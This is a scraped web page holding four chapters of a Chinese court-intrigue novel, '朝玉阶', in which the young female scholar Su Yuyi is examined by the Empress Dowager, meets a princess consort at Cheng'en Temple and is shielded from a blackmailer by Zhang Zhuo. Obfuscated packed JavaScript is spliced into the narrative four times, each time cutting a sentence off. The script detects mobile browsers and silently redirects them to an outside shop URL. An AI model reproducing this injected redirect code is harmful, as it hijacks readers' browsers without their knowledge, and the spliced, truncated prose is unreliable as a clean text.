适才说话的这群人,都是庶常馆中的官宦子弟,他们今日衣着鲜焕整齐,又是一同进门,显然是约好了去做什么事。结合近来太后要选侍读学士的事放出了风声,很容易便让人联想到,大约是去找了哪位大人毛遂自荐。 秦酌自然也想到了这一重,脸上郁郁之色更甚,只能拿着刻刀雕木头泄愤。 一面又和郁仪唾骂:“这群人个个头上生角,鸡子里都得挑骨头出来,若真去了太后身边,只怕日后咱们这的日子更是难过。” 又喧闹了快一刻钟的时间,庶吉士们陆陆续续都到齐了,掌管庶常馆的陈翰林才从外头走进来。 他是兴平末年的进士,在庶常馆里蹉跎了这么些年,早已自知升迁无望,故而为人刁钻古怪。对于这批庶吉士里有门路的,他便多多照拂、大行便宜,没有门路的便颐指气使,丝毫不放在眼里。 这阵子庶常馆里忙着修《会典》,每个人要做的工作都有定数,只是这几个高门弟子忙着四处结交,根本来不及修纂文章,陈翰林对此睁一只眼闭一只眼,只给他们派遣些修订增删的任务,余下的都交由秦酌、苏郁仪等人撰写。 秦酌写得头眼昏花,再去看郁仪,只见她手握狼毫,字字隽永端正,看得秦酌叹为观止:“你这一手台阁体,没有童子功的底子根本写不出,依我看就是当了三十年编修的老翰林,都没有你这两把刷子。” 不怪秦酌惊叹,郁仪的一手好字是整个庶常馆出了名的,陈翰林拿她当宝贝,抄书写字的差事全都给了她,看似是重用,实则受苦受累,玉堂署那边有所耳闻想要提她去翰林院,都被陈翰林给否了。 苏郁仪要是被提拔了,他上哪里去找这么好用的笔杆子?至于那几个不干活的世家子弟,能滚就滚吧,提拔到了别处去给别的长官添堵,横竖他们的功名也落不到他陈翰林的身上。 人不为己天诛地灭,陈翰林深谙此道。 秦酌揉了揉手腕,给郁仪的茶杯里也倒了水:“你是松江人,你父亲也是官宦出身吧,不然哪里能教你写得出这样好的字?” 苏郁仪执笔的手一顿,睫毛垂下并不看他:“我父亲是个教书匠,倒也没有什么官身,侥幸识得几个字,所以对我严苛些,盼着我能比他强些。” “岂止是强些,你如今能入京为官,他定高兴坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665766|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。” 郁仪抿唇:“他已经不在人世了。” 秦酌啊了声,连连告罪,郁仪摆手:“都是好多年前的事儿了,中了进士之后,我也写了信烧给他,想来他泉下有知,心里也能觉得宽慰些。” 一日过半,膳房里抬了廊下食过来,大家轮着出去吃。待郁仪去时,只余下些糙米粥和咸菜。她盛了一碗端着,站在门口就着锅沿喝粥,外头已经安静下来,只有几只鸟雀立在檐角,惬意地轻啾几声。 清风徐来,满园春色,逸兴遄飞。 身后有脚步声传来,郁仪以为是秦酌,端着碗回身:“菜不多了,还剩些粥……” 声音停了,因为来人并不是秦酌而是曹岑。 “苏进士。”他道。 郁仪放下碗还礼:“伯远兄。”伯远是曹岑的表字。 十九岁的女孩本该是青春正好的时候,只是苏郁仪不喜欢打扮,平日里只穿官服,头上像男子一般用木簪束发,看上去更像是个没长开的男孩,只是她明眸皓齿,身上带着浑然天成的清爽明丽,让人过目不忘。 “苏进士可有取字?” 郁仪摇头:“未曾。” 曹岑颔首:“也罢,不是什么要紧事。” 他的目光扫过郁仪还没吃完的粥,将手中的东西递给她:“这是从知宝居买的肉脯,你平日忙时常错过廊下食,这些零嘴留着你晚上吃吧。” 郁仪接过:“伯远兄太客气了。” 这些小恩小惠的馈赠,郁仪一向是收下的。一来这礼不重,还起人情来并不复杂,二来别人有意示好,不收难免有疏远之感,她心思剔透,从不刻意讨人生厌。 曹岑见她收了,不由松了口气:“这几日《会典》的差事忙,劳烦你了。”他心里知道郁仪平白担了许多本不属于她的工作,心里也难免有愧,“入馆数月,苏进士日后可有什么打算吗?” “哪能有什么打算呢,我人微言轻,能入馆做事,能有俸禄可食,已经是修来的福气了。”她笑容和煦,“倒是伯远兄前途无量。” 曹岑的嘴角不露痕迹地扬了扬:“若有际遇,你可愿同我一道吗?” 这话在郁仪耳中就像是打了个白条。 既没有上下文,也没有实实在在的好处,倒像是一次让她站队的试探。 “好啊。”苏郁仪半真半假,“伯远兄是有了什么消息么?” 曹岑显然是有了几分胜券在握:“不算是消息,只是我门路到底多些……”他提了提气,还想再说些什么,一个女官模样的人从月洞门那边走了进来。 践远游之文履,曳雾绡之轻裾。粉黛薄施、芳泽无加。 看衣着是应该是正六品司记,这个职位已是如今大齐女官中地位最高的一位,虽然品阶不高,却是太后身边的近侍,比庶常馆里的陈翰林得脸不知多少倍。 司记本该有两名,太后只设置了一名,据说姓孟。 她没有关注到廊下说话的二人,径自走进庶常馆里,曹岑丢下苏郁仪,也紧跟着她走了进去。 苏郁仪悠哉悠哉地重新端起自己已经冷了的粥,若有所思地喝了一口。 太后欲选侍读学士的事沸沸扬扬地传了一个多月,如今也是该有定夺的时候了,隔着一道门,看着里头的庶吉士们抻着脖子,眼巴巴地等着孟司记开金口,就连陈翰林都控制不住地紧张,下意识站起身来。 孟司记在房中站定了,丹凤眼带着审视,举目四望:“苏郁仪苏进士何在?” 7.朝玉阶(一) 众人的目光都不由自主地向门外望去。 孟司记顺着目光向外看,一个年轻女子正站在门口,手里还端着个粗瓷碗,脸上带着错愕。 她穿着青色的官服,右衽的交领上露出白生生的脖颈,双耳上连耳洞都没有,头发一丝不苟地缠进发簪上。人很瘦显得有些单薄,却也没有病容,显露出一种怡然又舒展的姿态,眼睛黑亮,虽然一丝脂粉都不施,却绝对是个美人胚子。只是没有好生打扮,更有种璞玉未雕的惊艳来。 饶是孟司记阅人无数,看了苏郁仪眼中都露出一丝赞赏。 郁仪放下碗走进来,对着孟司记行礼:“内贵人。” 孟司记还礼:“我是六局里的孟司记,还请苏进士和我往慈宁宫去一趟,太后娘娘有话要问你。” 若先前众人心里还有些许侥幸,如今便是烈火烹油,哗啦啦地炸了开。 曹岑的脸色有些难看,陈翰林更是如丧考妣,整个庶常馆里能做事的人太少,少了个苏郁仪简直是少了半边天。 倒是秦酌的兴奋之色溢于言表。孟司记背对着他,他还暗地里给郁仪比了个大拇指。 几个寒门子弟都很高兴,在这富贵成堆的地方,他们原本都不敢生出什么指望,只盼着熬年岁再谋个一官半职,若有苏郁仪作这个先例,他们也都多了好些盼头。 苏郁仪对孟司记道:“不知太后娘娘何时传唤我,容我先去换件衣服。” “不必换了。”孟司记打量她,“就现在去吧,娘娘一会儿还要见几位阁老大人。” 于是苏郁仪就这么两手空空地跟着孟司记走了。 来了紫禁城这么久,苏郁仪从来没有像今天这样,穿过一重又一重的宫阙,跨过一道又一道宫门,金盏银瓯琳琳朗朗,鱼鳞覆瓦剔透辉煌。孟司记走路时姿态平稳,脚步却绝不慢,郁仪跟在她身后须得打起十二分的精神,才能跟上她的脚步。 自先帝龙驭宾天之后,慈宁宫成了全紫禁城最热闹的所在。料理洪灾、笼络山东驻军,再往后平定誉王之患、废漕河……三十五岁的太后宵衣旰食,花了三年光景,硬是让十五岁的少帝坐稳了江山。 慈宁宫的汉白玉须弥座上摆着铜凤铜鹤,被太阳照得乌光发亮,有几名大臣已经站在门口了,显然还没能得太后的召见,需得再等上一阵子。 孟司记带着苏郁仪在廊下站定,几位大臣远远地瞟了她几眼,显然没见过这位脸生的小女官,故而交头接耳地议论了两句。 “你在这等着,一会儿会有人叫你进去。”孟司记嘱咐完之后又忖度道,“太后娘娘不算严厉,却绝不容许有人乱说话、说谎话,你得蒙召见,还得时刻谨言慎行,不然即便是不掉脑袋,也要挨板子。” 苏郁仪恭恭敬敬地点头:“多些内贵人教导,下官记得了。” 孟司记颔首:“行,你懂事就好。” 于是苏郁仪便和那几位老学究模样的人一道站在日头底下晒着。 她垂着眼,牢记着非礼勿视非礼勿听八个字,只是隐隐约约的能听见一个女人的声音,透过半开的支摘窗传出来,平静、温和,如同流水般漫溯过全身,虽不甚真切,却带着不容忽视的、至高无上的威严。 郁仪知道,这个说话的女人便是大齐最尊贵的太后娘娘。 “周太傅说你今日去上书房晚了半刻钟?”空气有了一瞬的安静,未等到回答,女人的声音便又响起,“一刻钟的确不是什么大事,只是今日晚半刻、明日晚一刻,天长日久下来岂不是越差越多?” 太后的嗓音太过甜美馥郁,她做了十五年皇后、三年太后,将权力都变成了她美貌的一部分。郁仪知道她是在和少帝说话,一时间愈发屏气凝神,不敢发出丝毫的动静。 “百姓戴君,以能安之耳。可如何安之、为何安之,你又知道多少?”太后虽不疾言厉色,语气却沉,“哀家从不希望你读死书,却又不能不读书。你父皇在时向来手不释卷,你若不通晓文章,哀家又以何脸面去见你父皇?” 太后手边摆着的是堪舆师送来的黄纸,测定了先帝玄宫附近的吉壤,也是在筹备着为太后筑造陵寝梓宫。她戴着翡翠护甲的手指轻轻抚摸过黄纸的封页,好像抚摸的不是纸,而是先帝的牌位。 “你从哀家这回去后,先去奉天殿站半个时辰再去读书。”这是太后最后的通牒。从始至终都未开口的年轻皇帝终于说了一个很轻的“是”字。 而后行过跪拜礼才从慈宁宫的南庑房退了出去。 孟司记恰到好处地上前来为太后的玉盏添茶水,太后靠着引枕不知在想什么,孟司记追随太后数年,知道她怕是在缅怀先帝,不由开口:“娘娘为何不问陛下为何迟来,万一陛下有什么不得已的理由……” 金钗的流苏发出细碎的撞击声,重重叠叠的金银丝线编织成最精美的刺绣,太后雾鬓风鬟,金装玉砌,犹如雍容的牡丹,盛放在最成熟靡醉的时辰。 她不点头也不摇头,轻轻端起玉盏:“便是有理由又如何呢?迟了便是迟了,若君上自己都不能恪尽己责,又如何立德服人?” 孟司记不说话,太后喝过茶又说:“承缙在时,我尚能做个慈母,他既已仙去,我便要继承他的遗志,为他守好这个江山,也教好这个儿子。” 承缙是先帝的表字,太后提起他时,常以我自称,而不是哀家。 她语气虽不哀戚,孟司记却能理解太后的不易,她换了个话题:“娘娘,苏进士到了。” 太后先是疑惑地嗯了声,随即便想起了这个人:“是张濯推举的那个女进士。” “是。”孟司记点头。 太后没急着宣她进来,而是漫不经心地在吉壤黄卷上勾出几个方位:“一会儿你将这个拿去司礼监,没什么问题就照着来吧。” 见她在为自己挑选陵寝的吉地,孟司记心里觉得堵得难受:“娘娘春秋鼎盛……” 太后笑了:“承缙也是春秋鼎盛时去的,哀家不忌讳这个。” 她将黄卷合上,再一次提起苏郁仪:“你说,张濯为何独独推举她呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你殿试的卷子,是哀家亲自改的。”太后的目光如水,“哀家记得你的文章,也记得你那手馆阁体。” 这一笔好字可不是三两日就能练出来的功夫,太后有惜才之心,待取了糊名的弥封之后才知道,这一笔字出自一个十九岁的小姑娘之手,一时间颇有几分惊讶。 时下推崇质朴归真的词风,统称作“文必秦汉、诗必盛唐”,讲求义理、考据、辞章的统一。能将文章写得鞭辟入里,的确不是一件易事。太后喜欢苏郁仪的词风,哪怕到了如今数月已过,仍记在心里。 “今天哀家叫你来,也是想问问你的文章,你不必紧张,谈史论证而已,没有什么对错之分。” 太后传唤她的因由早已心照不宣,故而哪怕太后言语宽慰,她仍在心里惴惴不安。 “是,娘娘。” “你来给哀家讲讲,大齐的田赋之治。”这是她昨日才考过皇帝的题目,皇帝答得无功无过、勉强得过,太后不单单想了解苏郁仪作文章的本事,也想看看她对政治有没有几分见地。 8.朝玉阶(二) 苏郁仪微微思索片刻后,才认真对答:“早在汉代时,田赋常用‘均田制’及‘什一税’。即以土地为凭据,以收成的十中之一为赋税,田赋制度较为宽松。及至李唐时期,实行‘租庸调制’是以人丁数目为基数征收赋税,土地亦采用‘均田制’,以人数分配土地。到了武周时期,因人口流动和土地兼并加剧,改用‘两税法’替代了‘租庸调制’,用土地和财产为基础与民征税。” “汉初时的制度更为灵活,而至武周时期,两税法更依赖于土地面积,变通不足,而我朝结合二者并用。先帝在时曾编有鱼鳞图册,量地定税。并制定黄册,每年自县至州,层层存档入库。只是下官以为,若地方官吏徇私舞弊或鱼鳞图册更新未及,只怕会有‘田多者税轻、田少者税重’的遗患,积弊日久,或成‘逃丁’或成流民,则朝野不安。” 郁仪说完后,太后默默良久。 “是啊。”太后轻声道,“又快到修黄册的日子了。一箱又一箱的黄册用车马、用航船从大运河送到京城里,垒得像小山一样高,哀家要从国子监、翰林院里选人去编纂查对,看看纳了多少税、又有多少人钻了空子。只可惜,没有一劳永逸的国策,也没有长治久安的朝廷。” 她的声音很平静,也很坦然,再次望向郁仪的目光温和了许多:“你答的不错。” 郁仪跪下:“谢娘娘夸赞。” “你是南方人吧。”太后抬手让她起来,“江浙还是湖广?” “回娘娘,是松江。” “哦,松江啊。”太后点点头,“你父亲是什么官职,能生出你这聪慧机敏的女儿?” 郁仪不抬头,轻声答:“家父不过是松江的一个读书人,屡试不第,后来只能在私塾里教书。”太后对她的回答并没有太多疑惑,因为能送进宫来的这批学生,几乎都是把祖上三四代都摸个底朝天的。 “真是难为他了,你家里有几个兄弟?” “我父母都去得早,家里只有我一个女儿。” 亲戚多了攀扯就多了,若是再有上一两个不懂事的兄弟满脑子鸡鸣狗盗,借机狗仗人势更是让人头痛。苏家人丁凋零,太后脸上不动声色,心里却对郁仪更是满意。 “好,哀家知道了。”太后下午还要见几位阁臣,准备叫苏郁仪先回去,她的目光落在这女孩干净透白的脸上,心中又升起了一丝怜惜之心,“青月,将哀家那根翡翠簪子赐给苏进士。” 孟司记答了声是。 这倒是叫郁仪手足无措起来:“娘娘,下官不会用这些。” 孟司记托着红绒漆盒走到郁仪身边,太后示意她收下:“你如今正是青春好颜色的时候,一头扎进书卷里,整日又和玉堂署那群老翰林们呆在一起,时日久了把最好看的年岁错过了,是要后悔的。” 郁仪托着漆盒道,听闻此言轻垂眼帘:“多谢娘娘。” 太后指着孟司记说:“她平日里也侍奉哀家笔墨,除了她,哀家身边的几个女官都穿红着绿。女儿家的确可以像男人一样建功立业,可也不妨碍打扮自己,不为娱人,也为娱己。自然你若不喜欢,哀家也不是强迫你。” 郁仪父母亡故多年,其实从没有人教她该如何像个女儿家一样活着。她读书习字,时刻将自己当作男人一样教养约束,太后说得这席话,她也是第一次听。 谢了恩走出慈宁宫的门,孟司记送她到丹墀下。 “太后是喜欢你的。”孟司记道,她脸上也露出一个真心实意的笑容,“你先回去,日后太后若有传召,我会再去请你。” 郁仪轻轻松了口气,垂下眼看着怀里的漆盒:“这簪子,我……” “不会戴可以学。”孟司记拍了拍她的肩,“我自兴平年间便跟在娘娘身边,那时我们几个女官都不敢打扮,怕被冠上勾/引君上的罪名。娘娘却特意赐给我们首饰衣衫,让我们好好整饬自己,不要像嬷嬷们一样只服褐紫色。娘娘是天下最好的主子,你若能得机会到娘娘身边,便能懂我说的话了。” 孟司记生得很美,这种美不单单的容颜上的,更多的是她矜贵自持的气质,像是紫禁城里一株玉兰树那样美。郁仪真诚谢过她:“多些内贵人。” “不用。”孟司记平和道,“希望日后还能见到苏进士。” * 回到庶常馆之前,郁仪先回了自己的直房,将太后的赏赐收进柜子里才安心。这御赐的东西,她定然是不敢用的,万一磕了碰了,等到娘娘问起时若没有,只怕要掉脑袋。她更不敢让别人知道她收了这么个御赐之物,不然被偷了,也是要掉脑袋。 这哪里是赏赐,简直是催命符。 待回了庶常馆,里头原本还有攀谈声,可当她走进去,登时鸦雀无声。 秦酌两眼放光地凑在郁仪身边:“娘娘可有什么旨意?” 众人皆高高竖起耳朵来。 郁仪摇头:“不过是问了我一些文章上的事,没有旁的旨意。” 此话一出,曹岑几人都面面厮觑,不知太后到底是什么意思。 “那娘娘可还说了别的什么?”秦酌还不死心。 陈翰林自他背后重重咳嗽一声:“吃了熊心豹子胆,敢在这议论主子!” 秦酌撇了撇嘴,重新回到自己的座位上。 屋子里静得连掉根针都听得见,大家这才各怀心事地坐下。 那日到了昏时,众人陆陆续续收了笔,苏郁仪本想再多写一会,已经有人走到她桌前敲了敲桌子:“苏进士。” 郁仪抬头,是曹岑。 “明日午前我们相约去承恩寺,你可愿同去吗?” 承恩寺是京中香火最盛的佛寺,信众中除了潜心礼佛者,也有许多年轻才俊在此交游写诗。承恩寺的主持甚至在广场上挂了数十块诗板,供人以文会友。据说曾经就有人因为一首诗得到了次辅的垂青,从而摇身一变平步青云。 苏郁仪入京不久,还没去过承恩寺,思考了片刻,她便轻轻点头:“好。” 这样的邀请也是数月以来的第一次。 与曹岑交好的一众人中,大多是高门子弟,他们从不喜欢与苏郁仪这样的人交游在一处,今日定然也是看在了太后的佛面上,才多此一举。 曹岑见她爽快答应,也有些意外:“苏进士现在住在哪里,我可以叫马车去接你。” 郁仪笑着摇头:“我如今仍住在宫中的直房里,不过承恩寺不远,我走着去就行了。” 曹岑不让她继续说下去:“明日辰时,我在东华门等你。” * 第二日辰时,曹岑果真已经在东华门等郁仪良久了。 曹岑的马车很新,看样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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除了庶常馆的庶吉士们,还有不少翰林院玉堂署的人。这些人郁仪认识得不多,但他们或多或少都听过女进士的风声,所以也都客客气气地同郁仪点头示意。 一个玉堂署的翰林笑着说:“昨日我便来过承恩寺了,当真是佳篇无数,住持今日又命人挂了新词板,你们也都不要藏着掖着,想写什么就写什么,保不准便有谁能留一篇千古绝唱出来呢。” 众人寒暄一番,纷纷向寺内走去。 郁仪跟在众人最后向寺内走去,果见紫烟缭绕,题版高挂,一张张木质的题版上还挂着红色的绸带,看上去既醒目,又带有一丝金榜题名的喜气似的。 她站在题版下面仰着头看上面一首首、不知是何人撰写的诗文。 “春风动春心,流目瞩山林。山林多奇彩,阳鸟吐清音。” “携手看花深径,风静,夜色迟迟漏永。” …… 一张又一张高悬的诗板像是幢幢的关山,那眉目隽永如画的年轻女郎仰着纤细的颈子,仔细样子近乎是一种虔诚,仿若被她这样的目光照射过,泥塑木雕也变成了金身菩萨。 而另一侧,人群中一个人也轻轻站定了脚步。 几个年轻的官员小声在张濯身侧说:“这寺庙中的大迦蓝看似普度众生,内里却是欺世盗名之辈,他利用承恩寺的香积钱放贷,还暗中为买官卖官者提供交易场所,更有甚者在寺庙中养了一批打手,实在是贻害无穷。” “主子,今日抓还是不抓?” 张濯既不点头,也不摇头。 他的目光隔着人群落在那个如云般清淡的年轻女子身上。 苏郁仪微微仰起的脖颈,修长、宁静,撑起那颗美丽又智慧的头颅。 晴浦晚风,青山玉骨。 9.朝玉阶(三) 其实那一刻,苏郁仪想到的是她才中举人那两年,在浙江时度过的日子。 那是兴平末年,她和一群年龄相仿的女孩儿们同在一家书院里读书,那时太后娘娘才放出要选女进士的风声,她们都是书院里第一批女学生。 那时一群女郎凑在一起,心里想着的都是日后能如何靠自己的本事谋个好前程。 她们大多是从寻常人家出身的女孩,一个个咬紧着牙关不肯向父母宗长妥协,却又一个个被家里人或逼迫或哭求着从书院带走。 那些读了书的女孩子,大多都不肯重新囿于高墙之下,却又无法违拗父母的威逼利诱。 科举这条路,越往上走,女孩子便越少。 从州县上挑出来进入国子监的女贡生,也不过只有三人。像郁仪一样能从地方上考上来的女进士,只有她一个人罢了。 她不懂打扮,也没有钱、没有心思打扮。 她只知道要拿为数不多的钱买更多的书、更多的笔墨。 和她交好的一个女举人迫于无奈离开书院前,曾与她彻夜长谈。 她说:“郁仪,为什么这世道只教女人涂脂抹粉,为什么称颂一对夫妻总要用‘郎才女貌’,纵然有了美貌又如何,不过是成为男人摆在府宅里的一个陈设。美貌对男人有用,对我们自己又有什么用呢?可权势才是你的底牌,你有了权势,美貌便是锦上添花。若一无所有,这美貌只能让你依附男人而活。” 女举人泪眼涔涔,拉着郁仪的手不松开:“我若能像你一样继续考功名就好了,我考到浙江来,不知道花了多少心思多少努力,如今我爹娘逼我回去嫁人,我这十年的心血全都辜负了。只盼你能飞得高、飞得远,只盼你让我们都不要再过这种身不由己的日子。” 后来郁仪一路咬着牙往上走,这个女举人却再也没有了消息传出来。 不知道她如今过得好不好,更不知她还在不在人世。 郁仪想着想着,思绪飘得有些远了,再回过神时发觉自己已经远离了承恩寺前院中人声鼎沸的地方,倒是沿着石阶走到了后院的竹林旁。 这里翠竹如雾,清静远人,除了一条深径外,只余下轻灵的鸟鸣。 今天是个难得的晴天,竹林里亦时松香徐徐。 郁仪围着竹林走了几十步,迎面走来一位神色匆匆的妇人。 她乌发高绾,眉眼旖丽,看上去也不过二十五六的年纪,一身宝蓝底鸦青万字团花对襟袄,头上插着一对并蒂芙蓉钗,妆容雍容精致,看得出不是寻常人家的娘子。 见了苏郁仪,那妇人像是松了口气:“这位姑娘,我是从后山上下来的,没成想和我家奴才走岔了路,能不能问问你,往前院去的路,可是从这里走?” 郁仪点头:“从这往下再走一刻钟的功夫就能看见主殿的宝顶了。”她抬头看了看天色,想着也快到午时了,怕曹岑一会儿来寻她,索性道:“我与夫人一同下山吧。” 美貌妇人闻言喜出望外:“如此当真是谢过姑娘了。” 山路崎岖蜿蜒,草色青青覆于阶上,妇人明显养尊处优久了,路走得久了便有些疲倦,脚步也显得有些凌乱。郁仪抬手扶住她的手臂:“路上滑,我扶着夫人吧。” 妇人拍了拍郁仪的手:“真是麻烦你了。” 她见郁仪温声细语,心里越是觉得她可亲,便不由得闲聊起来:“听口音,姑娘不像是京城人,倒有些南面的口音。” 郁仪点头:“我是松江人,去年年底才到京中来的。” 妇人听罢微笑:“松江是人杰地灵的地方,果然你也出落得亭亭玉立,来承恩寺可是求姻缘的?这儿的姻缘很灵。” 郁仪专心走路:“过来逛逛,倒也没有求姻缘的心思。” 妇人惊讶了一下:“我像你这般年岁的时候,早便成亲了。” 说到这又停了停,语气惆怅起来:“你说的是了,成亲早又有什么用呢。我这次来是求子的,我与我夫君成婚五年了,至今膝下都无所出。前两年我夫君还未曾说什么,近些年一个连着一个地往家里抬人,可也是奇了怪,这五六个妾室都没有子嗣。家婆又催得紧,我便是隔三差五就要来承恩寺求上一求。” 郁仪不擅长答对这样的话,好在这个妇人又继续开口:“如今我倒是很羡慕你们这样自由自在的姑娘家,不被拘束着,做什么都能由着自己的心意。” 二人说话间,佛寺正殿的琉璃顶已经出现在了眼前,在这明晃晃的日头下,倒映出璀璨辉煌的光影来。几个仆从模样的人正焦急地守在正殿门口,看到这个美貌妇人都长舒了一口气。 一行人七手八脚地将这妇人围在中间:“王妃娘娘,可真是急死奴才们了。” 梁王妃拉着郁仪的手不松开:“好孩子,真是多谢你了,若不是你我只怕要转上几个时辰才能下山来。”她见郁仪衣着朴素,不像是哪家的贵女,所以示意奴才拿了些银两来:“这点子心意还请你收下,当作是我请你喝杯茶。” 郁仪听罢推脱:“不是什么要紧事,娘娘太客气了。” 从听到奴才叫她王妃之时起,郁仪便有了退避的心思。朝中未就蕃的亲王只有三位,已成婚的只有梁王一人。 少帝登基以来,几位皇叔都不像表面上那么太平,这位梁王便更是树大根深、不好相与的人。先帝在时,也曾考虑过让梁王为太子,只可惜梁王一直膝下无子,皇帝才断了让他承继大统的念头。 苏郁仪才入京师,又一心想谋划着到太后身边去,这个节骨眼上若被有心人看见她与梁王妃私相授受,只怕会断了她的前程。 梁王妃见她不要,心里也有些奇怪,难不成眼前这个女孩听了她的身份,起了不该起的心思,想要更多的好处不成? 二人还没来得及再多说几句,便看到曹岑从靖远塔后绕过来,远远地对着苏郁仪招手:“苏进士,你在这啊!” 这次轮到梁王妃惊讶了:“你便是苏进士?” 早听说今年选了一位女进士,卷子是太后亲自批选出来的,梁王曾无意中提起,说这位女进士日后保不齐有大际遇,想不到就是眼前这位纤细如竹般的年轻女子。 她细细打量着郁仪的眉眼,唯见她眸若点漆,神清骨秀,眉宇间又带了几分书卷气,方才她没有留意,此刻倒觉得苏郁仪的的确确是带着不同于寻常女子的气韵。 “是。”郁仪同曹岑示意,一面对着梁王妃行礼,“王妃既已寻得家仆,我便先走了。” “诶,你等等。”晋王妃笑容越发可亲,从怀中掏出一块令牌给她,“有空可以来我那坐坐,我是苏州人,离你们松江也不远,到了京城里你无亲无友,若是觉得无聊,便来我这解解闷,嗯?” 郁仪见她短短片刻便换了一副面孔,更了然梁王妃必然看中了她的身份,言语更是警惕:“我平日里住在庶常馆,鲜少有出宫的时候,多谢娘娘垂爱,只是宫闱进出实在多有不便。” 梁王妃见她不受,也不勉强:“也罢,若有缘分,定还有相见之日。”说罢轻轻拍了拍郁仪的手带着仆从走远了,她身上带着淡淡的檀香味道,闻着很是踏实,苏郁仪没再多看,而是迎着曹岑走了过去。 “适才我同霍远他们写了诗板,一转身便不见了你,是去哪了?同你说话那人又是谁?” 他接连发问,又后知后觉地感觉自己太咄咄逼人,不由得咳嗽了声:“我是担心你路不熟,再走失了。” 郁仪见他额上微微出汗,显然是兴致不错:“我去后山上逛了逛,我不擅长作诗,所以便不在此处献丑了。方才这位娘子与家人走失了,我也是半路遇上的。” 她说得坦然,曹岑更是不疑有他:“一会儿寺中有斋饭,你可要一同尝尝?” 今日是初八,承恩寺每逢八、十八、二十八都会布施斋饭,因此这几日上香的人也尤为多。郁仪本想说她下午还要回庶常馆去写《会典》,曹岑就遇到了一个熟友,他留下一句“一会来找你”便走了。 郁仪叹了口气,心想今日定然又要挑灯抄书了。 正在此时,突然有一个人挤到她面前,压着嘶哑的声音说:“你是不是苏郁仪?” 此人身量矮小瘦削,眼窝微微凹陷,身上穿着一身粗布衣衫,头发也草草用布裹起,看上去分外潦倒褴褛,苏郁仪不记得此人,微微皱眉:“你是……” 见她默认,那人骤然兴奋起来,他紧紧握住苏郁仪的胳膊:“我是李炳旭啊,你忘了吗?” 提到这个名字,苏郁仪倒是想起来了。 她在松江读书时,与这个李炳旭倒是相识,但也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你!”李炳旭显然看不上这些钱,勉勉强强的接过,犹不死心,“算我求你,苏进士,你帮帮我吧。” 苏郁仪气度不凡,眉目隽永,而李炳旭看上去破衣烂衫很是不体面,人群中不乏有人频频张望。见苏郁仪不答,李炳旭咬牙道:“你若不肯,便不要怪我无情无义。” “你身为女子能走到今日何其不易,我心里明白,我也不想坏你的清白名声。”他笑容中带着阴郁,“你如今是大齐的第一位女进士,若我作为你的同乡,他日传出些关于你的传言,可不是要毁了你的前途?” “朝廷又怎么敢用一个名声扫地的女子为官呢?” 谣言是能毁掉一个人的,尤其是这种拴在裤腰带上的谣言,最是无从考证、无从辩驳。 清白,此刻成了一个女人的弱点。 苏郁仪静静地看着他,心中数个念头转过。 这是赤裸裸的要挟,不加掩盖、直白得叫人恶心。 苏郁仪看着他眼中的贪婪,记忆里那个少言寡语一门心思读书的年轻人,竟然已变得如此面目可憎。寒门的身份,倒更像是他的挡箭牌。 便在此时,一阵脚步声轻轻自她背后响起。 一个人不动声色地将郁仪挡在身后。 张濯没有穿官服,身上披着一件白貂风氅,露出一节石青色杭绸直裰的袖缘。 乱云堆雪,孤月残檐。 只是站在这,便让人无端感觉到压迫。 张濯没说话,倒是身边的成椿指着李炳旭痛骂:“李炳旭,我记得你。你是兴平三十年浙江的会元,因狎/妓被逐出国子监。这月上旬,你偷了别人家传的玉佩送去典当,当真是枉为读书人!” 李炳旭自然不知眼前人的身份,嘴硬道:“你们是何人,竟然在此血口喷人?” 成椿见他手里还握着苏郁仪给他的银子,毫不客气地抢了回来:“你管我是谁,你若此刻不滚,我便命人将你抓进天牢里,你偷的二百两纹银足够关你三年五载,你也算是吃上皇粮了!” 李炳旭悻悻地瞪了他一眼,转身想走,成椿指着他的鼻子道:“还有,若是我听说了半句折辱苏进士的话,我便叫人剁了你裤\裆里的玩意儿,让你长长记性!” 成椿没有避讳人,周围不乏有人频频张望,李炳旭顿觉颜面扫地,猫着腰低着头忙不迭地跑了,成椿把钱递给郁仪,笑嘻嘻地说:“苏进士快瞧瞧,少了没?” 苏郁仪摇头,露出一个真心实意的笑容:“多谢你。”她抬起头,看向从始至终未发一言的张濯,低声说:“多谢张大人解围。” 10.朝玉阶(四) 这已经是郁仪第二回坐张濯的马车了。 绿泥金顶的车顶四角垂着通穗,铜铃里封了松脂,故而只作装饰而不会随着车马行动而叮当作响。马车宽大,除了湘妃竹榻外,另置放了一处八宝阁,里头放着湖笔、澄泥砚,另有一尊宣德炉,乌木底盖上镂刻着一双游鱼,玉石帽顶做成角端的式样,别有风味。 “架上有铜壶,你若渴了可以自己倒茶。”张濯报了一个地址给驾车的成椿,而后坐在了郁仪对侧。八宝阁上的确有一盒茶叶,仍旧是顾渚紫笋。 若说先前在张濯府上他为她备下了这种茶,还能说是投其所好的话,那么今日郁仪又有点摸不透了,张濯是北地人,按理说不该对这种南面特有的茶感兴趣。 张濯不是个多话的人,他沉默得近乎是有些冷淡了。 “太后娘娘昨日传召我了。”郁仪看着张濯,“是张大人举荐的,对吗?” 马车里的光线有些昏暗,她只能看清张濯眼底的一点微弱星光。 